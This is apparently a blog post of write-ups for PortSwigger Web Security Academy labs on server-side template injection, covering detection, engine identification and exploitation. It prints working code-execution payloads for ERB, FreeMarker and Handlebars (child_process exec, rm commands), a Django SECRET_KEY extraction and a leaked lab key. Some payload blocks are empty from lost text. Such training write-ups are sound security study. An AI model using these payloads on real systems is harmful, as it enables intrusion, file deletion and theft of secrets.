Post

Server-side template injection (SSTI) module - Web Security Academy - PortSwigger

Server-side template injection (SSTI) module - Web Security Academy - PortSwigger

Brief introduction

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

Server-side template injection vulnerabilities arise when user input is concatenated into templates rather than being passed in as data. Static templates that simply provide placeholders into which dynamic content is rendered are generally not vulnerable to server-side template injection. The classic example is an email that greets each user by their name, such as the following extract from a Twig template:

1
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

This is not vulnerable to server-side template injection because the user’s first name is merely passed into the template as data.

However, as templates are simply strings, web developers sometimes directly concatenate user input into templates prior to rendering. Let’s take a similar example to the one above, but this time, users are able to customize parts of the email before it is sent. For example, they might be able to choose the name that is used:

1
$output = $twig->render("Dear " . $_GET['name']);

In this example, instead of a static value being passed into the template, part of the template itself is being dynamically generated using the GET parameter name. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the name parameter as follows:

http://vulnerable-website.com/?name=

Constructing a server-side template injection (SSTI) attack

The simplest initial approach is to find some elements which “reflected”, then try fuzzing the template by injecting a sequence of special characters commonly used in template expressions, such as $%\.

If an exception is raised, this indicates that the injected template syntax is potentially being interpreted by the server in some way. This is one sign that a vulnerability to server-side template injection may exist.

A classic example: consider a template that contains the following vulnerable code:

render('Hello ' + username)

During auditing, we might test for server-side template injection by requesting a URL such as:

http://vulnerable-website.com/?username=${7*7}

If the resulting output contains Hello 49, this shows that the mathematical operation is being evaluated server-side. This is a good proof of concept for a server-side template injection vulnerability.

Once having detected the template injection potential, the next step is to identify the template engine.

image

We should be aware that the same payload can sometimes return a successful response in more than one template language. For example, the payload `` returns 49 in Twig and 7777777 in Jinja2. Therefore, it is important not to jump to conclusions based on a single successful response.

Exploiting server-side template injection vulnerabilities

Lab: Basic server-side template injection

This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template. To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.

When click in “View details” of the first product, there’s a message: “Unfortunately this product is out of stock”, and a parameter appears: ?message=Unfortunately%20this%20product%20is%20out%20of%20stock.

Read the ERB syntax, we can find out that the syntax <%= ... %> is used to render the result on the page. So, we use the payload: <%= 7*7 %> to test if the message is SSTI vulnerable.

image

The number 49 is returned, so this message is vulnerable. Using this payload to solve the lab: <%=system("rm morale.txt")%>

Lab: Basic server-side template injection (code context)

This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter

Hint: Take a closer look at the “preferred name” functionality.

First, login and change the “preferred name” between name, nickname and firstname. Due to that, there’re POST requests sent with the variable blog-post-author-display and value are user.name, user.nickname, user.first_name respectively.

Leave a comment in any post and try changing between 3 modes of preferred name, we can see that the name displayed is different and also reflected.

Tornado is a template of Python, so we will test with the payload ``. The name is displayed as 49, so we change the payload into }}. There’s an error: “Empty expression”, so try adding user.name: user.name}}. After this try, it returns Peter Wiener49}}. So removing the last two curly brackets and we receive the final payload.

Now, we only need to change the expression into Python script to execute OS command:

image

Lab: Server-side template injection using documentation

This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: content-manager:C0nt3ntM4n4g3r

image

This function allows us to edit the template. First, delete all the unnecessary parts and try triggering an error to find out the template engine.

image

The template using is FreeMarker, based on Java. Now search (ask LLMs) for script to run OS command. Using this payload:

1
2
3
<#assign exec = "freemarker.template.utility.Execute"?new()>
${exec("rm morale.txt")}

image

Look for known exploits: Another key aspect of exploiting server-side template injection vulnerabilities is being good at finding additional resources online. Once you are able to identify the template engine being used, you should browse the web for any vulnerabilities that others may have already discovered. Due to the widespread use of some of the major template engines, it is sometimes possible to find well-documented exploits that you might be able to tweak to exploit your own target website.

Lab: Server-side template injection in an unknown language with a documented exploit

This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.

When click “View details” on the first product, a message has appeared: “Unfortunately this product is out of stock”, which is also the reflected content in the message parameter in the URL.

Try triggering an error, we can see that the template engine using is Handlebars, based on NodeJS. Now searching for syntax to run OS command.

Search for “Handlebars (NodeJS)” in HackTricks, we find out a script to exploit SSTI in this template engine.

image

Change the command in payload to rm morale.txt, this is the complete payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  
    
      
      
      
      
        
        
        
        
          
            
          
        
      
    
  

URL encoding it:

%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0A%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%7B%7Bthis.push%20%28lookup%20string.sub%20%22constructor%22%29%7D%7D%0A%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%7B%7B%23with%20string.split%20as%20%7Ccodelist%7C%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7Bthis.push%20%22return%20require%28%27child_process%27%29.exec%28%27rm%20morale.txt%27%29%3B%22%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string.sub.apply%200%20codelist%29%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0A%20%20%7B%7B%2Fwith%7D%7D%0A%7B%7B%2Fwith%7D%7D

Then paste it as the value for message parameter. Send it and the lab is solved!

Lab: Server-side template injection with information disclosure via user-supplied objects

This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data. To solve the lab, steal and submit the framework’s secret key.

image

Triggering an error and find out the template engine used is Django - based on Python. To find out the secret key, use settings.SECRET_KEY payload.

image

SECRET_KEY: h17j41d3erk2zhxjouyv29yqlah8fzte.

Submit solution and the lab is solved!

This post is licensed under CC BY 4.0 by the author.

Trending Tags